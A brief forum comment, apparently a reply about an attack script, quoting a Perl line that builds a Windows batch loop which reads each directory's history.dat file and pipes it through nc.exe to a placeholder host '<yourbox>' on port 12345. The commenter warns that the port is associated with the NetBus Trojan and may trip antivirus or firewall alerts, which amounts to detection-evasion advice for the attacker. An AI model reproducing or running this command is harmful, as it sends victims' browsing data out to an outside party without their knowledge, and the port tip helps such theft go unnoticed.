I don't know if this matters or not but:

There may be a problem with

print FD "for /F \"tokens=4 \" \%\%X in ('dir ^|find \"DIR\" ') do type \%\%X\\history.dat \| nc.exe <yourbox> 12345"

As port 12345 was used by the netbus Trojan and most AV/Firewall client programs will at least notify the user of a possible issue when the PC starts sending out over this port.